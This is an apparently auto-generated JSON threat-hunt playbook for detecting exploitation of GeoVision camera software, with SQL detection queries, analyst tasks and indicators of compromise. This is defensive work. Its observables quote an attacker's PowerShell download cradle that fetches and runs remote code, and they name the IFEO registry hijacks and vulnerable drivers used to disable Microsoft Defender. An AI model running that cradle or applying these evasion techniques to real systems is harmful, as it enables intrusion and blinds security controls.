{
  "hunt": {
    "meta": {
      "tlp": "clear",
      "hunt": {
        "handoff": "promote-to-detection",
        "trigger": "intel-report",
        "methodology": "model-assisted",
        "applicability": "campaign-specific",
        "justification": "Widespread exploitation of GeoVision software has been observed across 13 organizations. Identifying the systematic blinding of security tools like Microsoft Defender is critical to preventing the high-impact cryptomining that follows."
      },
      "name": "GeoVision Camera Exploitation and Defense Impairment",
      "type": "investigation",
      "labels": [
        "hunt",
        "attack.t1190",
        "attack.t1059.001",
        "attack.t1562.001",
        "attack.t1112",
        "attack.t1518.001",
        "attack.t1083",
        "command and control",
        "defense evasion",
        "execution",
        "impact",
        "initial access",
        "persistence"
      ],
      "series": {
        "slug": "geovision-camera-software-abused-to-deploy-xmrig-cryptominer",
        "index": 1,
        "title": "GeoVision Camera Software Abused to Deploy XMRig Cryptominer",
        "total": 2
      },
      "related": [
        {
          "hunt": "geovision-persistence-and-payloads",
          "reason": "Persistence via scheduled tasks and the Golang loader's C2 are handled in a follow-on hunt.",
          "relation": "out-of-scope-alternative"
        }
      ],
      "targets": {
        "hunter": {
          "name": "Hunt agent",
          "agent": true
        },
        "analyst": {
          "name": "Tier-2 analyst",
          "role": "analyst"
        },
        "network": {
          "name": "Network telemetry",
          "category": "network",
          "telemetry": [
            "network"
          ]
        },
        "endpoint": {
          "name": "Endpoint telemetry (hb_ surfaces)",
          "category": "endpoint",
          "telemetry": [
            "endpoint"
          ]
        }
      },
      "analysis": "This hunt correlates a vulnerable parent process with rare driver loads and IFEO registry hijacks across four surfaces. This correlation distinguishes opportunistic exploitation from legitimate administration and identifies blinded security controls that single rules often miss.",
      "coverage": [
        {
          "stage": "initial-access-geovision-exploitation",
          "steps": [
            "lead-geovision-network"
          ],
          "status": "covered"
        },
        {
          "stage": "powershell-cradle-and-discovery",
          "steps": [
            "shell-cradle-execution"
          ],
          "status": "covered"
        },
        {
          "stage": "defense-impairment-ifeo-byovd",
          "steps": [
            "ifeo-registry-hijacks",
            "vulnerable-driver-loads"
          ],
          "status": "covered"
        },
        {
          "stage": "persistence-scheduled-tasks",
          "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
          "status": "out_of_scope"
        },
        {
          "stage": "golang-loader-c2-resolution",
          "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
          "status": "out_of_scope"
        },
        {
          "stage": "cryptomining-impact",
          "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
          "status": "out_of_scope"
        }
      ],
      "scenario": {
        "stages": [
          {
            "name": "GeoVision Software Exploitation",
            "slug": "initial-access-geovision-exploitation",
            "tactic": "initial-access",
            "techniques": [
              "T1190"
            ],
            "observables": [
              "GeoStartupAgentService.exe spawning cmd.exe",
              "WebCamServer.exe connecting to 2.59.133.151",
              "Publicly exposed GeoVision management interfaces"
            ]
          },
          {
            "name": "PowerShell Execution and Discovery",
            "slug": "powershell-cradle-and-discovery",
            "tactic": "execution",
            "techniques": [
              "T1059.001",
              "T1083",
              "T1518.001"
            ],
            "observables": [
              "powershell -c iex (new-object net.webclient).downloadstring('hxxp://45.32.117.34/a')",
              "a.ps1",
              "b.ps1",
              "c.ps1",
              "Writable directory searching",
              "Microsoft Defender status checks"
            ]
          },
          {
            "name": "Defense Evasion via IFEO and BYOVD",
            "slug": "defense-impairment-ifeo-byovd",
            "tactic": "defense-evasion",
            "techniques": [
              "T1562.001",
              "T1112"
            ],
            "observables": [
              "kvckiller.sys",
              "wsftprm.sys",
              "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MsMpEng.exe",
              "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SecurityHealthService.exe",
              "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SecurityHealthSystray.exe",
              "IFEO Debugger set to systray.exe"
            ]
          },
          {
            "name": "Scheduled Task Persistence",
            "slug": "persistence-scheduled-tasks",
            "tactic": "persistence",
            "techniques": [
              "T1053.005"
            ],
            "observables": [
              "Task name: PackageUpdater",
              "Task name: PackageUpdater_Startup",
              "C:\\WINDOWS\\system32\\config\\systemprofile\\update.exe"
            ]
          },
          {
            "name": "Loader C2 and Dynamic Resolution",
            "slug": "golang-loader-c2-resolution",
            "tactic": "command-and-control",
            "techniques": [
              "T1105",
              "T1568"
            ],
            "observables": [
              "update.exe (Golang loader)",
              "cctv-update.top",
              "156.246.94.183",
              "Outbound UDP traffic on port 6881 (DHT)",
              "DNS queries to 8.8.8.8, 8.8.4.4, or 1.1.1.1 from update.exe"
            ]
          },
          {
            "name": "XMRig Cryptomining",
            "slug": "cryptomining-impact",
            "tactic": "impact",
            "techniques": [
              "T1496"
            ],
            "observables": [
              "ApplyUpdate.exe (XMRig miner)"
            ]
          }
        ],
        "summary": "Attackers exploited internet-exposed GeoVision camera software to execute PowerShell download cradles, which deployed multiple scripts for environment discovery and defense evasion. The intrusion involved disabling Windows Defender via IFEO hijacks and a vulnerable driver (BYOVD) before establishing persistence with scheduled tasks and deploying an XMRig cryptominer through a custom Golang loader using DHT-based dynamic resolution."
      },
      "severity": "high",
      "rationale": "Start with internet-exposed servers. Use the network lead to identify candidate hosts, then use the scope_hosts parameter to efficiently run the registry and kernel deep dives across the identified estate.",
      "guardrails": {
        "claims": "no_unsupported",
        "evidence": "citation_required",
        "telemetry": "untrusted",
        "missing_data": "not_benign"
      },
      "hypothesis": "An intruder has exploited internet-exposed GeoVision surveillance services to execute PowerShell cradles, using that foothold to blind local security via IFEO registry hijacks and vulnerable driver loads.",
      "parameters": {
        "scope_hosts": {
          "from": {
            "ref": "scoping-parameter",
            "kind": "manual",
            "observed": "2024-11-13"
          },
          "type": "list[host]",
          "default": [],
          "description": "Narrow the deep-dive queries to these hosts; leave empty to scan the estate."
        },
        "lookback_days": {
          "from": {
            "ref": "hunt-standard-lookback",
            "kind": "manual",
            "observed": "2024-11-13"
          },
          "type": "number",
          "default": "14",
          "description": "Days of history to examine."
        },
        "malicious_ips": {
          "from": {
            "ref": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer",
            "kind": "article",
            "observed": "2024-11-08"
          },
          "type": "list[ip]",
          "default": [
            "45.32.117.34",
            "156.246.94.183",
            "2.59.133.151"
          ],
          "description": "IP addresses associated with PowerShell cradles and Golang loader C2."
        },
        "geovision_services": {
          "from": {
            "ref": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer",
            "kind": "article",
            "observed": "2024-11-08"
          },
          "type": "list[string]",
          "default": [
            "geostartupagentservice.exe",
            "webcamserver.exe"
          ],
          "description": "Filenames of GeoVision services observed as exploitation targets."
        },
        "vulnerable_drivers": {
          "from": {
            "ref": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer",
            "kind": "article",
            "observed": "2024-11-08"
          },
          "type": "list[string]",
          "default": [
            "kvckiller.sys",
            "wsftprm.sys"
          ],
          "description": "Vulnerable drivers used in BYOVD attacks to kill security products."
        }
      },
      "provenance": {
        "authors": [
          {
            "org": "huntbase.io",
            "name": "Huntbase hunt generation"
          }
        ],
        "generated": {
          "by": "huntbase-hunt-generation",
          "from": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer",
          "gates": [
            "dry-run",
            "lint"
          ],
          "model": "hb_google/gemini-3-flash-preview"
        }
      },
      "references": [
        {
          "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer",
          "name": "Huntress \u2014 GeoVision Camera Software Abused to Deploy XMRig Cryptominer"
        }
      ],
      "blind_spots": [
        {
          "id": "no-network-telemetry",
          "risk": "If network connections aren't audited, the lead query will return zero rows, and the gate will remain closed.",
          "stage": "initial-access-geovision-exploitation",
          "question": "whether connections to malicious IPs occurred on hosts with no network sensor",
          "requires": "hb_network_connection or firewall logs"
        },
        {
          "id": "no-registry-visibility",
          "risk": "Attacker can blind security tools without leaving a record in the registry activity surface if auditing is not configured.",
          "stage": "defense-impairment-ifeo-byovd",
          "question": "whether IFEO hijacks were successfully written to the registry",
          "requires": "hb_registry_activity with Sysmon EventID 13"
        }
      ]
    },
    "name": "GeoVision Camera Exploitation and Defense Impairment",
    "description": "This hunt targets the initial compromise and defense evasion stages of a campaign against GeoVision surveillance systems. It uses a cheap lead query to identify network connections to known malicious infrastructure, then gates the hunt to deep-dive into the resulting host activity. The hunt looks for suspicious shell execution from GeoVision services, Image File Execution Options (IFEO) registry hijacks that redirect security binaries to systray.exe, and the loading of vulnerable kernel drivers used to disable Microsoft Defender. An agent weighs the evidence across network, process, registry, and kernel surfaces to confirm a coordinated intrusion."
  },
  "nodes": [
    {
      "id": "hypothesis",
      "type": "hypothesis",
      "label": "Hypothesis",
      "config": {
        "tags": [],
        "series": {
          "slug": "geovision-camera-software-abused-to-deploy-xmrig-cryptominer",
          "index": 1,
          "title": "GeoVision Camera Software Abused to Deploy XMRig Cryptominer",
          "total": 2
        },
        "coverage": [
          {
            "stage": "initial-access-geovision-exploitation",
            "steps": [
              "lead-geovision-network"
            ],
            "status": "covered"
          },
          {
            "stage": "powershell-cradle-and-discovery",
            "steps": [
              "shell-cradle-execution"
            ],
            "status": "covered"
          },
          {
            "stage": "defense-impairment-ifeo-byovd",
            "steps": [
              "ifeo-registry-hijacks",
              "vulnerable-driver-loads"
            ],
            "status": "covered"
          },
          {
            "stage": "persistence-scheduled-tasks",
            "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
            "status": "out_of_scope"
          },
          {
            "stage": "golang-loader-c2-resolution",
            "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
            "status": "out_of_scope"
          },
          {
            "stage": "cryptomining-impact",
            "reason": "Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series.",
            "status": "out_of_scope"
          }
        ],
        "rationale": "An intruder has exploited internet-exposed GeoVision surveillance services to execute PowerShell cradles, using that foothold to blind local security via IFEO registry hijacks and vulnerable driver loads.",
        "blind_spots": [
          {
            "id": "no-network-telemetry",
            "risk": "If network connections aren't audited, the lead query will return zero rows, and the gate will remain closed.",
            "stage": "initial-access-geovision-exploitation",
            "question": "whether connections to malicious IPs occurred on hosts with no network sensor",
            "requires": "hb_network_connection or firewall logs"
          },
          {
            "id": "no-registry-visibility",
            "risk": "Attacker can blind security tools without leaving a record in the registry activity surface if auditing is not configured.",
            "stage": "defense-impairment-ifeo-byovd",
            "question": "whether IFEO hijacks were successfully written to the registry",
            "requires": "hb_registry_activity with Sysmon EventID 13"
          }
        ],
        "scoping_notes": "Start with internet-exposed servers. Use the network lead to identify candidate hosts, then use the scope_hosts parameter to efficiently run the registry and kernel deep dives across the identified estate.",
        "beyond_detection": "This hunt correlates a vulnerable parent process with rare driver loads and IFEO registry hijacks across four surfaces. This correlation distinguishes opportunistic exploitation from legitimate administration and identifies blinded security controls that single rules often miss."
      }
    },
    {
      "id": "lead-geovision-network",
      "type": "query",
      "label": "Lead: Outbound connections to malicious infrastructure",
      "config": {
        "dsl": "sqlite",
        "role": "scoping",
        "source": "network",
        "content": "SELECT device_hostname, process_name, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE instr(',' || '{{malicious_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')",
        "surface": "hb_network_connection",
        "description": "Identify hosts communicating with IP addresses associated with the GeoVision exploitation campaign.",
        "expected_signal": "A network connection from a GeoVision service or other process to a reported IP. Silence is not evidence of absence if IPs rotate, but serves as a cheap gate for the campaign indicators."
      },
      "parents": [
        {
          "id": "hypothesis"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "scoping",
        "label": "Lead: Outbound connections to malicious infrastructure",
        "reads": [
          "device_hostname",
          "process_name",
          "dst_endpoint_ip",
          "dst_endpoint_port",
          "time"
        ],
        "source": "hb_network_connection",
        "target": "network",
        "content": "SELECT device_hostname, process_name, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE instr(',' || '{{malicious_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')",
        "silence": "not_evidence_of_absence",
        "expected": "A network connection from a GeoVision service or other process to a reported IP. Silence is not evidence of absence if IPs rotate, but serves as a cheap gate for the campaign indicators.",
        "verified": "dry-run",
        "verified_at": "2026-11-14"
      }
    },
    {
      "id": "assess-network-lead",
      "type": "analytic",
      "label": "Assess network lead",
      "config": {
        "cite": "required",
        "tools": [
          "endpoint",
          "network"
        ],
        "context": [
          "lead-geovision-network"
        ],
        "objective": "Determine if the network connection to reported IPs represents a genuine exploitation attempt, paying close attention to whether GeoVision binaries are the source process.",
        "description": "Analyze the network lead to determine if the connection context suggests exploitation.",
        "max_iterations": 3,
        "expected_signal": "A per-host verdict on whether the network activity warrants a deeper look.",
        "success_criteria": "A verdict of malicious | suspicious | benign per host."
      },
      "parents": [
        {
          "id": "lead-geovision-network"
        }
      ]
    },
    {
      "id": "gate-on-exploitation",
      "type": "checkpoint",
      "label": "Gate on exploitation signal",
      "config": {
        "fuzzy": true,
        "judge": "hunter",
        "question": "the assess-network-lead verdict is malicious or suspicious for at least one host",
        "condition": "the assess-network-lead verdict is malicious or suspicious for at least one host",
        "blind_spot": "no-network-telemetry",
        "confidence": "high",
        "description": "Only proceed with expensive parallel queries if the network lead is confirmed as suspicious or malicious.",
        "checkpoint_type": "mandatory"
      },
      "parents": [
        {
          "id": "assess-network-lead"
        }
      ]
    },
    {
      "id": "shell-cradle-execution",
      "type": "query",
      "label": "GeoVision service spawning shells",
      "config": {
        "dsl": "sqlite",
        "role": "triage",
        "source": "endpoint",
        "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{geovision_services}}' || ',', ',' || LOWER(parent_process_name) || ',') > 0 AND (LOWER(process_name) = 'cmd.exe' OR LOWER(process_name) = 'powershell.exe') AND time >= datetime('now', '-{{lookback_days}} days')",
        "surface": "hb_process_activity",
        "description": "Identify if GeoVision services have spawned shells or PowerShell, particularly those containing download cradles.",
        "expected_signal": "A shell child of a GeoVision service, often executing an 'iex' or 'net.webclient' download cradle."
      },
      "parents": [
        {
          "id": "gate-on-exploitation",
          "branch": "on_supports"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "triage",
        "label": "GeoVision service spawning shells",
        "reads": [
          "device_hostname",
          "process_name",
          "process_cmd_line",
          "parent_process_name",
          "user_name",
          "time"
        ],
        "source": "hb_process_activity",
        "target": "endpoint",
        "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{geovision_services}}' || ',', ',' || LOWER(parent_process_name) || ',') > 0 AND (LOWER(process_name) = 'cmd.exe' OR LOWER(process_name) = 'powershell.exe') AND time >= datetime('now', '-{{lookback_days}} days')",
        "silence": "not_evidence_of_absence",
        "expected": "A shell child of a GeoVision service, often executing an 'iex' or 'net.webclient' download cradle.",
        "verified": "dry-run",
        "verified_at": "2026-11-14"
      }
    },
    {
      "id": "ifeo-registry-hijacks",
      "type": "query",
      "label": "IFEO Debugger hijacks for Defender",
      "config": {
        "dsl": "sqlite",
        "role": "detection-candidate",
        "source": "endpoint",
        "content": "SELECT device_hostname, reg_target, reg_value_name, reg_value_data, time FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\\image file execution options\\%' AND LOWER(reg_value_name) = 'debugger' AND LOWER(reg_value_data) LIKE '%systray.exe%' AND time >= datetime('now', '-{{lookback_days}} days')",
        "surface": "hb_registry_activity",
        "description": "Detect IFEO registry values that redirect Microsoft Defender engine and UI launches to systray.exe.",
        "expected_signal": "A registry value pointing a security binary debugger to systray.exe. This is extremely high signal for defense evasion."
      },
      "parents": [
        {
          "id": "gate-on-exploitation",
          "branch": "on_supports"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "detection-candidate",
        "label": "IFEO Debugger hijacks for Defender",
        "reads": [
          "device_hostname",
          "reg_target",
          "reg_value_name",
          "reg_value_data",
          "time"
        ],
        "source": "hb_registry_activity",
        "target": "endpoint",
        "content": "SELECT device_hostname, reg_target, reg_value_name, reg_value_data, time FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\\image file execution options\\%' AND LOWER(reg_value_name) = 'debugger' AND LOWER(reg_value_data) LIKE '%systray.exe%' AND time >= datetime('now', '-{{lookback_days}} days')",
        "silence": "not_evidence_of_absence",
        "expected": "A registry value pointing a security binary debugger to systray.exe. This is extremely high signal for defense evasion.",
        "verified": "dry-run",
        "verified_at": "2026-11-14"
      }
    },
    {
      "id": "vulnerable-driver-loads",
      "type": "query",
      "label": "Rare and vulnerable driver load prevalence",
      "config": {
        "dsl": "sqlite",
        "role": "baseline",
        "source": "endpoint",
        "content": "SELECT LOWER(driver_path) AS path, driver_signature_subject, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_kernel_extension_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{vulnerable_drivers}}' || ',', ',' || LOWER(driver_path) || ',') > 0 OR (LOWER(driver_path) NOT LIKE 'c:\\windows\\system32\\drivers\\%' AND driver_signed = 'false')) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2 HAVING hosts <= 3 ORDER BY hosts ASC",
        "surface": "hb_kernel_extension_activity",
        "description": "Find known-vulnerable driver loads or rare drivers loaded on hosts showing exploitation signs.",
        "expected_signal": "The loading of kvckiller.sys or other rare, unsigned drivers on hosts that also show GeoVision exploitation leads."
      },
      "parents": [
        {
          "id": "gate-on-exploitation",
          "branch": "on_supports"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "baseline",
        "label": "Rare and vulnerable driver load prevalence",
        "reads": [
          "device_hostname",
          "driver_path",
          "driver_signature_subject",
          "time",
          "driver_signed"
        ],
        "source": "hb_kernel_extension_activity",
        "target": "endpoint",
        "content": "SELECT LOWER(driver_path) AS path, driver_signature_subject, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_kernel_extension_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{vulnerable_drivers}}' || ',', ',' || LOWER(driver_path) || ',') > 0 OR (LOWER(driver_path) NOT LIKE 'c:\\windows\\system32\\drivers\\%' AND driver_signed = 'false')) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2 HAVING hosts <= 3 ORDER BY hosts ASC",
        "silence": "not_evidence_of_absence",
        "baseline": {
          "window": "{{lookback_days}}d",
          "compare": "first_seen"
        },
        "expected": "The loading of kvckiller.sys or other rare, unsigned drivers on hosts that also show GeoVision exploitation leads.",
        "verified": "dry-run",
        "prevalence": {
          "by": "device_hostname",
          "key": [
            "driver_path"
          ],
          "rare_below": 3
        },
        "verified_at": "2026-11-14"
      }
    },
    {
      "id": "triage-compromise",
      "type": "analytic",
      "label": "Triage compromise chain",
      "config": {
        "cite": "required",
        "tools": [
          "endpoint",
          "network"
        ],
        "context": [
          "assess-network-lead",
          "shell-cradle-execution",
          "ifeo-registry-hijacks",
          "vulnerable-driver-loads"
        ],
        "objective": "Weigh the evidence from the network lead, shell execution, IFEO registry hijacks, and driver loads together to confirm if the GeoVision software was exploited to blind security controls.",
        "description": "Correlate the network lead, shell execution, IFEO hijacks, and driver loads to confirm a coordinated attack.",
        "max_iterations": 5,
        "expected_signal": "A definitive per-host verdict citing rows across all relevant surfaces.",
        "success_criteria": "A verdict of malicious | suspicious | benign per host citing the rows."
      },
      "parents": [
        {
          "id": "shell-cradle-execution",
          "kind": "merge"
        },
        {
          "id": "ifeo-registry-hijacks",
          "kind": "merge"
        },
        {
          "id": "vulnerable-driver-loads",
          "kind": "merge"
        }
      ]
    },
    {
      "id": "route-on-verdict",
      "type": "checkpoint",
      "label": "Route on verdict",
      "config": {
        "fuzzy": true,
        "judge": "hunter",
        "question": "the triage-compromise verdict is malicious for at least one host",
        "condition": "the triage-compromise verdict is malicious for at least one host",
        "blind_spot": "no-registry-visibility",
        "confidence": "high",
        "description": "Take immediate action on malicious findings or route to manual review.",
        "checkpoint_type": "mandatory"
      },
      "parents": [
        {
          "id": "triage-compromise"
        }
      ]
    },
    {
      "id": "isolate-host",
      "type": "action",
      "label": "Isolate host",
      "config": {
        "target": "endpoint",
        "description": "Prevent further payload delivery and command-and-control communication.",
        "instructions": "Isolate the host immediately. Remove the IFEO registry hijacks and collect identified malicious drivers for forensic analysis.",
        "action_approval": "required"
      },
      "parents": [
        {
          "id": "route-on-verdict",
          "branch": "on_supports"
        }
      ]
    },
    {
      "id": "analyst-review",
      "type": "task",
      "label": "Analyst review and tuning",
      "config": {
        "assignee": "analyst",
        "description": "Perform manual confirmation and document findings.",
        "instructions": "Review the agent's cited rows. Verify if GeoVision binaries were legitimate administrators performing maintenance or true exploitation. Check for subsequent stages like the PackageUpdater scheduled task."
      },
      "parents": [
        {
          "id": "gate-on-exploitation",
          "branch": "default"
        },
        {
          "id": "gate-on-exploitation",
          "branch": "on_unavailable"
        },
        {
          "id": "route-on-verdict",
          "branch": "default"
        },
        {
          "id": "route-on-verdict",
          "branch": "on_unavailable"
        },
        {
          "id": "route-on-verdict",
          "branch": "on_refutes"
        },
        {
          "id": "isolate-host"
        }
      ]
    },
    {
      "id": "close-out",
      "type": "task",
      "label": "Close out",
      "config": {
        "assignee": "analyst",
        "description": "Record the hunt results and document any visibility gaps.",
        "instructions": "Document the hosts scanned. If no activity was found, record this as evidence of absence for the GeoVision exploitation hypothesis."
      },
      "parents": [
        {
          "id": "gate-on-exploitation",
          "branch": "on_refutes"
        },
        {
          "id": "analyst-review"
        }
      ]
    }
  ]
}